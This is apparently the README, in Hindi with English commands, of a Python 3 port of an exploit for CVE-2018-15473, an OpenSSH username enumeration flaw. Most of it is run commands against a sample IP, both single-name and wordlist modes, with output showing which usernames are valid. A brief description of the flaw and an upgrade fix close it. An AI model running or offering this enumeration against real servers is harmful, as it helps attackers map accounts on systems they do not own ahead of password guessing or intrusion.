CVE-2018-15473

CVE-2018-15473

SSH-उपयोगकर्ता-नाम-गणना-शोषण (OpenSSH 2.3 < 7.7)

मूल शोषण का संपादित संस्करण: https://www.exploit-db.com/exploits/45233

• Python3 में रूपांतरित
• उपयोगकर्ता नाम शब्दसूची विकल्प जोड़ा गया

चलाने का तरीका

#Ensure that you install the requirements:
foo@bar:~$ pip3 install -r requirements.txt

#For single username:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -u root
[+] root is a valid username

#For multiple username:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -w username_wordlist.txt
[+] root is a valid username
[-] mysql is an invalid username
[-] mike is an invalid username
[-] foo is an invalid username
[-] bar is an invalid username
Valid Users: 
root

#For more option:
foo@bar:~$ ./CVE-2018-15473.py -h

भेद्यता के बारे में:

सिस्टम वैध और अमान्य प्रमाणीकरण प्रयासों पर अलग-अलग प्रतिक्रिया देता है। एक दूरस्थ उपयोगकर्ता लक्ष्य प्रणाली पर वैध उपयोगकर्ता नाम निर्धारित करने के लिए विशेष रूप से तैयार अनुरोध भेज सकता है। इस प्रकार, एक दूरस्थ उपयोगकर्ता लक्ष्य प्रणाली पर वैध उपयोगकर्ता नाम निर्धारित कर सकता है।

समाधान:

OpenSSH सर्वर को संस्करण 7.7 या उससे ऊपर अपग्रेड किया जाना चाहिए।